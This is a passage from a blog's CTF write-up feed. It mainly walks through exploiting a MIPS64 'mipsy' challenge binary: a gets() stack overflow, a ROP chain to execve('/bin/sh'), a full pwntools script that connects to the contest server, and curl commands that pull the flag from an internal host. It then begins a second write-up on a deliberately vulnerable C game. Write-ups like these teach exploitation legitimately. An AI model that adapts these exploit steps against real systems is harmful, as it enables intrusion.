  1. Show network interfaces
  2. Ping internal HTTP file server
  3. Log in as admin

[guest@mipsy] $ 1
The router has the following network interfaces:
* lo
* eth0
* eth2
* eth1

Menu:
  0. Quit.
  1. Show network interfaces
  2. Ping internal HTTP file server
  3. Log in as admin

[guest@mipsy] $ 2
Success: HTTP file server is up!

Menu:
  0. Quit.
  1. Show network interfaces
  2. Ping internal HTTP file server
  3. Log in as admin

[guest@mipsy] $ 3
Input your password:
&amp;gt;&amp;gt;&amp;gt; l3eT_p4sS
Error: wrong password.

Menu:
  0. Quit.
  1. Show network interfaces
  2. Ping internal HTTP file server
  3. Log in as admin

[guest@mipsy] $ 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It doesn&apos;t give any interesting informations so instead of fuzzing manually the binary to find the vulnerability, I reversed the main functions in IDA. And particulary the code of the the function corresponding to the &quot;Login as admin&quot; feature. The assembly code of this function looks like such:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.globl authenticate
authenticate:

var_40= -0x40
var_18= -0x18
var_10= -0x10
ret_addr= -8

daddiu  $sp, -0x90       ; Doubleword Add Immediate Unsigned
sd      $ra, 0x90+ret_addr($sp)  ; Store Doubleword
sd      $fp, 0x90+var_10($sp)  ; Store Doubleword
sd      $gp, 0x90+var_18($sp)  ; Store Doubleword
move    $fp, $sp
lui     $gp, 4           ; Load Upper Immediate
daddu   $gp, $t9         ; Doubleword Add Unsigned
daddiu  $gp, 0x3AA4      ; Doubleword Add Immediate Unsigned
dli     $v0, 0x120020000  ; Doubleword Load Immediate
daddiu  $a0, $v0, (aInputYourPassw - 0x120020000)  ; &quot;Input your password:&quot;
dla     $v0, puts        ; Load 64-bit address
move    $t9, $v0
jalr    $t9 ; puts       ; Jump And Link Register
nop
dli     $v0, 0x120020000  ; Doubleword Load Immediate
daddiu  $a0, $v0, (asc_120025B00 - 0x120020000)  ; &quot;&amp;gt;&amp;gt;&amp;gt; &quot;
dla     $v0, printf      ; Load 64-bit address
move    $t9, $v0
jalr    $t9 ; printf     ; Jump And Link Register
nop
dla     $v0, stdout      ; Load 64-bit address
ld      $v0, (stdout - 0x120042BC8)($v0)  ; Load Doubleword
move    $a0, $v0         ; stream
dla     $v0, fflush      ; Load 64-bit address
move    $t9, $v0
jalr    $t9 ; fflush     ; Jump And Link Register
nop
move    $a0, $fp
dla     $v0, gets        ; Load 64-bit address
move    $t9, $v0
jalr    $t9 ; gets       ; Jump And Link Register
nop
daddiu  $v0, $fp, 0x50   ; Doubleword Add Immediate Unsigned
li      $a2, 0x20  ; &apos; &apos;  ; n
move    $a1, $zero       ; c
move    $a0, $v0         ; s
dla     $v0, memset      ; Load 64-bit address
move    $t9, $v0
jalr    $t9 ; memset     ; Jump And Link Register
nop
move    $a0, $fp         ; s
dla     $v0, strlen      ; Load 64-bit address
move    $t9, $v0
jalr    $t9 ; strlen     ; Jump And Link Register
nop
daddiu  $v1, $fp, 0x50   ; Doubleword Add Immediate Unsigned
move    $a2, $v1
move    $a1, $v0
move    $a0, $fp
dla     $v0, kdf         ; Load 64-bit address
move    $t9, $v0
bal     kdf              ; Branch Always and Link
nop
daddiu  $v1, $fp, 0x50   ; Doubleword Add Immediate Unsigned
li      $a2, 0x20  ; &apos; &apos;  ; n
dli     $v0, 0x120020000  ; Doubleword Load Immediate
daddiu  $a1, $v0, (unk_120025B08 - 0x120020000)  ; s2
move    $a0, $v1         ; s1
dla     $v0, memcmp      ; Load 64-bit address
move    $t9, $v0
jalr    $t9 ; memcmp     ; Jump And Link Register
nop
bnez    $v0, loc_120004688  ; Branch on Not Zero
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When I began this challenge I didn&apos;t know anything about mips64 assembly but thanks to auto comments in IDA and to &lt;a href=&quot;http://math-atlas.sourceforge.net/devel/assembly/mips-iv.pdf&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;https://write.lain.faith/~/Haskal/mips-rop/&quot;&gt;this&lt;/a&gt;, I understood very quickly the main components of the architecture. And that&apos;s why I noticed a call to the &lt;code&gt;gets&lt;/code&gt; function which as it&apos;s known read an arbitrary number of bytes from stdin to the buffer indicated in argument, and so in our case in &lt;code&gt;$fp&lt;/code&gt;, which is initialized to &lt;code&gt;$sp-0x90&lt;/code&gt;. Next the call to &lt;code&gt;gets&lt;/code&gt;, &lt;code&gt;printf&lt;/code&gt; and &lt;code&gt;fflush&lt;/code&gt;, it calls &lt;code&gt;memset&lt;/code&gt; to set every bytes of another buffer allocated next to our input to zero. Then it computes the length of our input and calls the &lt;code&gt;kdf&lt;/code&gt; function with the following arguments: &lt;code&gt;kdf(char *input_password, int input_length, unsigned char *out)&lt;/code&gt;. The kdf function is basically doing some encryption operations according to our input and its length and stores the result in the third argument.
And the result of this encryption routine is compared to a constant value with &lt;code&gt;memcmp&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So we discovered the stack based buffer overflow which allows us to overwrite the saved instruction pointer saved at the functions&apos;s prologue.&lt;/p&gt;
&lt;h2&gt;Exploitation&lt;/h2&gt;
&lt;p&gt;Since we understood the vulnerable function, we can represent the stackframe like that:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$saved_fp-0x90+----------------------+
              |                      |
              |                      |
              |   buffer_password    |
              |                      |
              |                      |
$saved_fp-0x40+----------------------+
              |                      |
              |                      |
              |         out          |
              |                      |
$saved_fp-0x16+----------------------+
              |       saved_gp       |
$saved_fp-0x10+----------------------+
              |       saved_fp       |
   $saved_fp-8+----------------------+
              |       saved_ra       |
     $saved_fp+----------------------+
              |                      |
              |  calling function&apos;s  |
              |      stackframe      |
              |                      |
              |                      |
              +----------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And so, according to this schema, we overwrite the saved &lt;code&gt;$ra&lt;/code&gt; from a padding of &lt;code&gt;0x90-0x8=0x88&lt;/code&gt; bytes.
But since we&apos;re able to jmp everywhere, we have to figure out what kind of technique we want to use.&lt;/p&gt;
&lt;h4&gt;One gadget ?&lt;/h4&gt;
&lt;p&gt;For an obsure reason, I thought the &lt;code&gt;gets&lt;/code&gt; function had for badchar the NULL byte, so I was looking for a one gadget in the binary.
I discovered during the reverse engineering part an interesting snippet of code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.text:0000000120003FC0                 .globl ip
.text:0000000120003FC0 ip:                                      ; CODE XREF: main+260↓p
.text:0000000120003FC0                                          ; DATA XREF: LOAD:0000000120002438↑o ...
.text:0000000120003FC0
.text:0000000120003FC0 ret             = -0x1050
.text:0000000120003FC0 n_read          = -0x104C 
.text:0000000120003FC0 fd              = -0x1048
.text:0000000120003FC0 var_1044        = -0x1044
.text:0000000120003FC0 buf             = -0x1040
.text:0000000120003FC0 ptr_binsh       = -0x40
.text:0000000120003FC0 dash_c          = -0x38
.text:0000000120003FC0 var_30          = -0x30
.text:0000000120003FC0 null            = -0x28
.text:0000000120003FC0 var_18          = -0x18
.text:0000000120003FC0 var_10          = -0x10
.text:0000000120003FC0 var_8           = -8
.text:0000000120003FC0
.text:0000000120003FC0                 daddiu  $sp, -0x1050     ; Doubleword Add Immediate Unsigned
.text:0000000120003FC4                 sd      $ra, 0x1050+var_8($sp)  ; Store Doubleword
.text:0000000120003FC8                 sd      $fp, 0x1050+var_10($sp)  ; Store Doubleword
.text:0000000120003FCC                 sd      $gp, 0x1050+var_18($sp)  ; Store Doubleword
.text:0000000120003FD0                 move    $fp, $sp         ; prologue
.text:0000000120003FD4                 lui     $gp, 4           ; Load Upper Immediate
.text:0000000120003FD8                 daddu   $gp, $t9         ; Doubleword Add Unsigned
.text:0000000120003FDC                 daddiu  $gp, 0x4060      ; Doubleword Add Immediate Unsigned
.text:0000000120003FE0                 dli     $v0, 0x120020000  ; Doubleword Load Immediate
.text:0000000120003FE4                 daddiu  $v0, (aBinSh - 0x120020000)  ; &quot;/bin/sh&quot;
.text:0000000120003FE8                 sd      $v0, 0x1010($fp)  ; Store Doubleword
.text:0000000120003FEC                 dli     $v0, 0x120020000  ; Doubleword Load Immediate
.text:0000000120003FF0                 daddiu  $v0, (aC - 0x120020000)  ; &quot;-c&quot;
.text:0000000120003FF4                 sd      $v0, 0x1018($fp)  ; Store Doubleword
.text:0000000120003FF8                 dli     $v0, 0x120020000  ; Doubleword Load Immediate
.text:0000000120003FFC                 daddiu  $v0, (aListInterfaces - 0x120020000)  ; &quot;./list_interfaces.sh&quot;
.text:0000000120004000                 sd      $v0, 0x1020($fp)  ; Store Doubleword
.text:0000000120004004                 sd      $zero, 0x1028($fp)  ; Store Doubleword
.text:0000000120004008                 daddiu  $v0, $fp, 8      ; Doubleword Add Immediate Unsigned
.text:000000012000400C                 move    $a0, $v0         ; pipedes
.text:0000000120004010                 dla     $v0, pipe        ; Load 64-bit address
.text:0000000120004014                 move    $t9, $v0         ; pipe
.text:0000000120004018                 jalr    $t9 ; pipe       ; Jump And Link Register
.text:000000012000401C                 nop                      ; nop
.text:0000000120004020                 move    $v1, $v0         ; return value
.text:0000000120004024                 dli     $v0, 0xFFFFFFFFFFFFFFFF  ; Doubleword Load Immediate
.text:0000000120004028                 bne     $v1, $v0, loc_120004070  ; Branch on Not Equal
; skip
.text:0000000120004070 loc_120004070:                           ; CODE XREF: ip+68↑j
.text:0000000120004070                 dla     $v0, fork        ; Load 64-bit address
.text:0000000120004074                 move    $t9, $v0         ; fork
.text:0000000120004078                 jalr    $t9 ; fork       ; Jump And Link Register
.text:000000012000407C                 nop                      ; nop
.text:0000000120004080                 sw      $v0, 0($fp)      ; Store Word
.text:0000000120004084                 lw      $v1, 0($fp)      ; Load Word
.text:0000000120004088                 dli     $v0, -1          ; Doubleword Load Immediate
.text:000000012000408C                 bne     $v1, $v0, loc_1200040D4  ; Branch on Not Equal
; skip
.text:00000001200040D4 loc_1200040D4:                           ; CODE XREF: ip+CC↑j
.text:00000001200040D4                 lw      $v0, 0($fp)      ; Load Word
.text:00000001200040D8                 bnez    $v0, loc_120004158  ; Branch on Not Zero
.text:00000001200040DC                 nop                      ; nop
.text:00000001200040E0                 lw      $v0, 0xC($fp)    ; Load Word
.text:00000001200040E4                 li      $a1, 1           ; fd2
.text:00000001200040E8                 move    $a0, $v0         ; fd
.text:00000001200040EC                 dla     $v0, dup2        ; Load 64-bit address
.text:00000001200040F0                 move    $t9, $v0         ; dup2
.text:00000001200040F4                 jalr    $t9 ; dup2       ; Jump And Link Register
.text:00000001200040F8                 nop                      ; nop
.text:00000001200040FC                 lw      $v0, 8($fp)      ; Load Word
.text:0000000120004100                 move    $a0, $v0         ; fd
.text:0000000120004104                 dla     $v0, close       ; Load 64-bit address
.text:0000000120004108                 move    $t9, $v0         ; close
.text:000000012000410C                 jalr    $t9 ; close      ; Jump And Link Register
.text:0000000120004110                 nop                      ; nop
.text:0000000120004114                 lw      $v0, 0xC($fp)    ; Load Word
.text:0000000120004118                 move    $a0, $v0         ; fd
.text:000000012000411C                 dla     $v0, close       ; Load 64-bit address
.text:0000000120004120                 move    $t9, $v0         ; close
.text:0000000120004124                 jalr    $t9 ; close      ; Jump And Link Register
.text:0000000120004128                 nop                      ; nop
.text:000000012000412C                 ld      $v0, 0x1010($fp)  ; Load Doubleword
.text:0000000120004130                 daddiu  $v1, $fp, 0x1010  ; Doubleword Add Immediate Unsigned
.text:0000000120004134                 move    $a2, $zero       ; envp
.text:0000000120004138                 move    $a1, $v1         ; argv
.text:000000012000413C                 move    $a0, $v0         ; path
.text:0000000120004140                 dla     $v0, execve      ; Load 64-bit address
.text:0000000120004144                 move    $t9, $v0         ; execve
.text:0000000120004148                 jalr    $t9 ; execve     ; Jump And Link Register
.text:000000012000414C                 nop
; skip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It&apos;s a part of the &lt;code&gt;ip&lt;/code&gt; function, called when we trigger the &quot;Show network interfaces&quot; option. When I saw at the begin of the function, some local variables like a pointer to the &lt;code&gt;&quot;/bin/sh&quot;&lt;/code&gt; string and a block of code which executes especially &lt;code&gt;execve(&quot;/bin/sh&quot;, &quot;-c&quot;, NULL)&lt;/code&gt;. Since I discovered this basic block I thought I should have to jump around it with the right stackframe. But after a few hours I figured out it wasn&apos;t possible :(. And figured out too that the &lt;code&gt;NULL&lt;/code&gt; byte isn&apos;t a badchar :).&lt;/p&gt;
&lt;h4&gt;ROPchain&lt;/h4&gt;
&lt;p&gt;Now we&apos;re able to craft a ropchain with only one badchar: &quot;\n&quot;. To do so we can launch &lt;a href=&quot;https://github.com/JonathanSalwan/ROPgadget&quot;&gt;ROPgadget&lt;/a&gt; to find some suitable gadgets:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ROPgadget --binary mipsy &amp;gt; gadgets
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On mips architechture there is no &lt;code&gt;ret&lt;/code&gt; or &lt;code&gt;pop&lt;/code&gt; instructions, to handle this issue we use gadgets which load directly a 64 bit value stored in the stack into a register like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ld $a0, 0x8($sp) ; It will read the doubleword in $sp+8 to load it in the $a0 register.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And to return we need to find a load on a register like &lt;code&gt;$t9&lt;/code&gt; which is often used to resolve and call extern functions or on &lt;code&gt;$ra&lt;/code&gt; which is the standard register used to store the address of the calling function.&lt;/p&gt;
&lt;p&gt;And that&apos;s why it&apos;s too hard to find automatically gadgets for mips binaries. But fortunately, ROPgadgets finds a a great amount of gadgets which helps us a lot.&lt;/p&gt;
&lt;p&gt;The exploitation would be for me to jmp to the execve&apos;s call with the right context.
The code looks like such:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.text:0000000120004134                 move    $a2, $zero       ; envp
.text:0000000120004138                 move    $a1, $v1         ; argv
.text:000000012000413C                 move    $a0, $v0         ; path
.text:0000000120004140                 dla     $v0, execve      ; Load 64-bit address
.text:0000000120004144                 move    $t9, $v0         ; execve
.text:0000000120004148                 jalr    $t9 ; execve     ; Jump And Link Register
.text:000000012000414C                 nop
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To do so we have to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;set &lt;code&gt;$v1&lt;/code&gt; register to &lt;code&gt;NULL&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;set &lt;code&gt;$v0&lt;/code&gt; register to a pointer to &lt;code&gt;/bin/sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;set &lt;code&gt;$gp&lt;/code&gt;, the global pointer to the right value to be able do execute the &lt;code&gt;dla&lt;/code&gt; instruction.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;An important thing to notice is that on mips architechture, when an instruction is executed the next instruction is too executed despite of the result of the current instruction. So when we will choose our gadgets, we need to be careful according to the instruction after the control flow instruction.&lt;/p&gt;
&lt;p&gt;And the good value for &lt;code&gt;$gp&lt;/code&gt; is a constant from which the &lt;a href=&quot;https://sourceware.org/binutils/docs-2.24/as/MIPS-Small-Data.html&quot;&gt;&lt;code&gt;dla&lt;/code&gt;&lt;/a&gt; instruction addresses memory areas. And if we check the value of &lt;code&gt;$gp&lt;/code&gt; in gdb, we got: &lt;code&gt;0x120048020&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To control the &lt;code&gt;$v1&lt;/code&gt; register we can grep on the gadgets found by ROPgadget:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ grep &quot;ld \$v0, &quot; gadgets | grep \$sp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then we got a lot of candidate which are not efficient. And if we&apos;re very careful we find an interesting gadget:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x000000012001b4d8 : ld $v0, 0x210($sp) ; ld $t9, 0x228($sp) ; jalr $t9 ; move $a0, $s6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It&apos;s perfect because it allows us to control the value of &lt;code&gt;$v0&lt;/code&gt; and the value of the next gadget that we can store in &lt;code&gt;$t9&lt;/code&gt; to jump on !&lt;/p&gt;
&lt;p&gt;We can apply process to find a gadget for $v1:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ grep &quot;ld \$v1, &quot; gadgets | grep \$sp
[skip]
0x000000012001270c : ld $v1, 0x80($sp) ; sd $v0, 0xf0($sp) ; dsubu $s5, $v0, $v1 ; dsll $v0, $s5, 6 ; ld $a0, 0xb8($sp) ; ld $t9, 0xe0($sp) ; move $a1, $v0 ; sd $v1, 0xf8($sp) ; jalr $t9 ; sd $v0, 0x100($sp)
[skip]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It&apos;s a gadget a bit more hard to understand but we just have to take care to: do not write &lt;code&gt;$v0&lt;/code&gt;, control the value of &lt;code&gt;$v9&lt;/code&gt; to jump on, control the value of &lt;code&gt;$v1&lt;/code&gt;. And so this gadget is a good candidate.&lt;/p&gt;
&lt;p&gt;Finally we need to control the value of the &lt;code&gt;$gp&lt;/code&gt; register but to achieve that we do not need to use a gadget, because we already control it thanks to the vuln epilogue:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.text:00000001200046A4 loc_1200046A4:                           # CODE XREF: authenticate+104↑j
.text:00000001200046A4                 move    $sp, $fp         # _
.text:00000001200046A8                 ld      $ra, 0x90+ret_addr($sp)  # Load Doubleword
.text:00000001200046AC                 ld      $fp, 0x90+var_10($sp)  # Load Doubleword
.text:00000001200046B0                 ld      $gp, 0x90+var_18($sp)  # Load Doubleword
.text:00000001200046B4                 daddiu  $sp, 0x90        # Doubleword Add Immediate Unsigned
.text:00000001200046B8                 jr      $ra              # Jump Register
.text:00000001200046BC                 nop
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Put all together&lt;/h2&gt;
&lt;p&gt;For the pruposes of mips exploitation I developped a small function in python which inserts automatically a value at an arbitrary offset.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def make_pld(s, val, pos):
    if len(s) == pos:
        print(f&quot;[*] Gadget: s += {val}&quot;)
        s += val
        return s
    elif len(s) &amp;gt; pos:
        print(f&quot;[*] Gadget: {s[:pos-1]} + {val} + {s[pos-1+len(val):]}&quot;)
        s = s[:pos-1] + val + s[pos-1+len(val):]
        return s 
    elif len(s) &amp;lt; pos:
        k = &quot;\x00&quot;*(pos-len(s))
        print(f&quot;[*] Gadget: {s} + {k} + {val}&quot;)
        return s + b&quot;\x00&quot;*(pos-len(s)) + val
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It&apos;s very useful because we are then able to give the right offset about the stack pointer when we execute the gadgets.
We can begin by overwriting the value of the saved &lt;code&gt;$gp&lt;/code&gt; and &lt;code&gt;$ra&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GP = 0x120048020
BASE_RSP = 0x90

pld  = make_pld(b&quot;&quot;, p64(GP), BASE_RSP-0x18) # $gp
pld  = make_pld(pld, p64(SET_V1), BASE_RSP-0x8) # $ra
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;BASE_RSP is the offset of the input&apos;s buffer about the &lt;code&gt;$sp&lt;/code&gt; address when we return and so when we start to execute some gadgets.
We indicate the gadget to execute which is the gadget which sets &lt;code&gt;$v1&lt;/code&gt; register to zero.&lt;/p&gt;
&lt;p&gt;Then we can put the right value in &lt;code&gt;$v1&lt;/code&gt; by looking at the SET_V1 gadget which loads the doubleword in &lt;code&gt;0x80($sp)&lt;/code&gt; in &lt;code&gt;$v1&lt;/code&gt;.
So we have to add to our payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pld  = make_pld(pld, p64(0x0), BASE_RSP+(0x80)) # $v1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And we have to set the right value for the next gadget to execute. The gadget loads the doubleword in &lt;code&gt;0xe0($sp)&lt;/code&gt; in &lt;code&gt;$t9&lt;/code&gt; and then jmp on, so we can add our SET_V0 gadget to be then executed:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pld  = make_pld(pld, p64(SET_V0), BASE_RSP+(0xe0)) # $t9
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We repeat the same operation for the SET_V0 gadget by setting a pointer to &lt;code&gt;&apos;/bin/sh&apos;&lt;/code&gt; in &lt;code&gt;0x210($sp)&lt;/code&gt; and the address of the final execve call in &lt;code&gt;0x228($sp)&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pld  = make_pld(pld, p64(BINSH), BASE_RSP+(0x210)) # $v0
pld  = make_pld(pld, p64(EXECVE), BASE_RSP+(0x228)) # $t9
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We finished the ROPchain, now we just have to send it to the server and to enjoy the shell !&lt;/p&gt;
&lt;p&gt;The final script looks like such:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3
from pwn import ELF, context, remote, p64 

BINSH = 0x120025A20

e = ELF(&apos;mipsy&apos;)

context.bits = 64 # mips64
context.arch = &quot;mips&quot;
context.endian = &quot;big&quot; # Not a mipsel binary

def make_pld(s, val, pos):
    if len(s) == pos:
        s += val
        return s
    elif len(s) &amp;gt; pos:
        s = s[:pos-1] + val + s[pos-1+len(val):]
        return s 
    elif len(s) &amp;lt; pos:
        k = &quot;\x00&quot;*(pos-len(s))
        return s + b&quot;\x00&quot;*(pos-len(s)) + val 

SET_V0 = 0x12001B4D8 # : ld $v0, 0x210($sp) ; ld $t9, 0x228($sp) ; jalr $t9 ; move $a0, $s6

SET_V1 = 0x000000012001270c # : ld $v1, 0x80($sp) ; sd $v0, 0xf0($sp) ; dsubu $s5, $v0, $v1 ; dsll $v0, $s5, 6 ; ld $a0, 0xb8($sp) ; ld $t9, 0xe0($sp) ; move $a1, $v0 ; sd $v1, 0xf8($sp) ; jalr $t9 ; sd $v0, 0x100($sp)

EXECVE = 0x120004134

GP = 0x120048020
BASE_RSP = 0x90

def start():
    return remote(&quot;challenges2.france-cybersecurity-challenge.fr&quot;, 4005)
    # return remote(&quot;localhost&quot;, 4000)

io = start()
io.sendlineafter(&quot;] &quot;, b&quot;3&quot;)

pld  = make_pld(b&quot;&quot;, p64(GP), BASE_RSP-0x18) # $gp
pld  = make_pld(pld, p64(SET_V1), BASE_RSP-0x8) # $ra
pld  = make_pld(pld, p64(0x0), BASE_RSP+(0x80)) # $v1
pld  = make_pld(pld, p64(SET_V0), BASE_RSP+(0xe0)) # $t9
pld  = make_pld(pld, p64(BINSH), BASE_RSP+(0x210)) # $v0
pld  = make_pld(pld, p64(EXECVE), BASE_RSP+(0x228)) # $t9

io.sendlineafter(&quot;&amp;gt;&amp;gt;&amp;gt; &quot;, pld)
io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Final part&lt;/h2&gt;
&lt;p&gt;According to the statements we need to read some files stored on the filer machine.
So firstly let&apos;s run the exploit to get the shell:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ./solve.py                                                                  
[!] Could not emulate PLT instructions for ELF(&apos;mipsy/mipsy&apos;)
[!] Could not populate PLT: not enough values to unpack (expected 2, got 0)
[*] &apos;mipsy/mipsy&apos;
    Arch:     mips64-64-big
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x120000000)
    RWX:      Has RWX segments
[+] Opening connection to challenges2.france-cybersecurity-challenge.fr on port 4005: Done
[*] Switching to interactive mode
Error: wrong password.
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ ls
list_interfaces.sh
mipsy
$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We see no flag, so according to the statements maybe we have to curl the filer machine which seems to be a HTTP server:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ curl filer
&amp;lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01//EN&quot; &quot;http://www.w3.org/TR/html4/strict.dtd&quot;&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot;&amp;gt;
&amp;lt;title&amp;gt;Directory listing for /&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;h1&amp;gt;Directory listing for /&amp;lt;/h1&amp;gt;
&amp;lt;hr&amp;gt;
&amp;lt;ul&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;a href=&quot;flag&quot;&amp;gt;flag&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;/ul&amp;gt;
&amp;lt;hr&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It&apos;s a directory listing of the files stored in filer, and so we just have to &lt;code&gt;curl filer/flag&lt;/code&gt; to get the flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ curl filer/flag
FCSC{82ed60ce9c8b1136b1da7df24c9996b6232671e66f62bad1bd0e3fc163761519}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And we got the flag !
This challenge was very cool because it&apos;s a &quot;real world&quot; scenario and it makes me discovering mips assembly !&lt;/p&gt;
</content:encoded></item><item><title>[UnionCTF 2021 - pwn] babyrarf</title><link>https://n4sm.github.io/posts/babyrarf/</link><guid isPermaLink="true">https://n4sm.github.io/posts/babyrarf/</guid><description>This Write-Up is about de first pwn challenge of the unionctf</description><pubDate>Sun, 21 Feb 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The binary can be found &lt;a href=&quot;https://github.com/ret2school/ctf/blob/master/2021/unionctf/pwn/babyrarf/babyrarf?raw=true&quot;&gt;right here&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;[UnionCTF] Babyrarf&lt;/h2&gt;
&lt;p&gt;Welcome guys,&lt;/p&gt;
&lt;p&gt;This Write-Up is about de first pwn challenge of &lt;a href=&quot;https://ctf.cr0wn.uk&quot;&gt;unionctf&lt;/a&gt;: &lt;a&gt;babyrarf&lt;/a&gt;.
It was a really easy challenge with a stack based buffer overflow. The source code was provided so, no need to reverse the binary :).&lt;/p&gt;
&lt;p&gt;Let&apos;s take a look at the src!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

typedef struct attack {
    uint64_t id;
    uint64_t dmg;
} attack;

typedef struct character {
    char name[10];
    int health;
} character;

uint8_t score;

int read_int(){
    char buf[10];
    fgets(buf, 10, stdin);
    return atoi(buf);
}

void get_shell(){
    execve(&quot;/bin/sh&quot;, NULL, NULL);
}

attack choose_attack(){
    attack a;
    int id;
    puts(&quot;Choose an attack:\n&quot;);
    puts(&quot;1. Knife\n&quot;);
    puts(&quot;2. A bigger knife\n&quot;);
    puts(&quot;3. Her Majesty&apos;s knife\n&quot;);
    puts(&quot;4. A cr0wn\n&quot;);
    id = read_int();
    if (id == 1){
        a.id = 1;
        a.dmg = 10;
    }
    else if (id == 2){
        a.id = 2;
        a.dmg = 20;
    }
    else if (id == 3){
        a.id = 3;
        a.dmg = 30;
    }
    else if (id == 4){
        if (score == 0){
            puts(&quot;l0zers don&apos;t get cr0wns\n&quot;);
        }
        else{
            a.id = 4;
            a.dmg = 40;
        }
    }
    else{
        puts(&quot;Please select a valid attack next time\n&quot;);
        a.id = 0;
        a.dmg = 0;
    }
    return a;
}

int main(){
    character player = { .health = 100};
    character boss = { .health = 100, .name = &quot;boss&quot;};
    attack a;
    int dmg;

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    srand(0);

    puts(&quot;You are fighting the rarf boss!\n&quot;);
    puts(&quot;What is your name?\n&quot;);
    fgets(player.name, 10, stdin);

    score = 10;

    while (score &amp;lt; 100){
        a = choose_attack();
        printf(&quot;You choose attack %llu\n&quot;, a.id);
        printf(&quot;You deal %llu dmg\n&quot;, a.dmg);
        boss.health -= a.dmg;
        dmg = rand() % 100;
        printf(&quot;The boss deals %llu dmg\n&quot;, dmg);
        player.health -= dmg;
        if (player.health &amp;gt; boss.health){
            puts(&quot;You won!\n&quot;);
            score += 1;
        }
        else{
            puts(&quot;You lost!\n&quot;);
            score -= 1;
        }
        player.health = 100;
        boss.health = 100;
    }

    puts(&quot;Congratulations! You may now declare yourself the winner:\n&quot;);
    fgets(player.name, 48, stdin);
    return 0;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It&apos;s basically some kind of game, we have to win a lot of times to display &lt;code&gt;Congratulations! You may now declare yourself the winner&lt;/code&gt;. And when we reach this part we can trigger a buffer overflow with a call to fgets (&lt;code&gt;fgets(player.name, 48, stdin);&lt;/code&gt;). We notice too the get_shell function (maybe we will have to jump on ?).&lt;/p&gt;
&lt;p&gt;Let&apos;s take a look at gdb:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf48│+0x0000: 0x00007ffff7dd30b3  →  &amp;lt;__libc_start_main+243&amp;gt; mov edi, eax	 ← $rsp
0x00007fffffffdf50│+0x0008: 0x00007ffff7ffc620  →  0x0005081200000000
0x00007fffffffdf58│+0x0010: 0x00007fffffffe038  →  0x00007fffffffe357  →  &quot;/home/nasm/dist/babyrarf&quot;
0x00007fffffffdf60│+0x0018: 0x0000000100000000
0x00007fffffffdf68│+0x0020: 0x00005555555552e4  →  &amp;lt;main+0&amp;gt; push rbp
0x00007fffffffdf70│+0x0028: 0x00005555555554d0  →  &amp;lt;__libc_csu_init+0&amp;gt; endbr64 
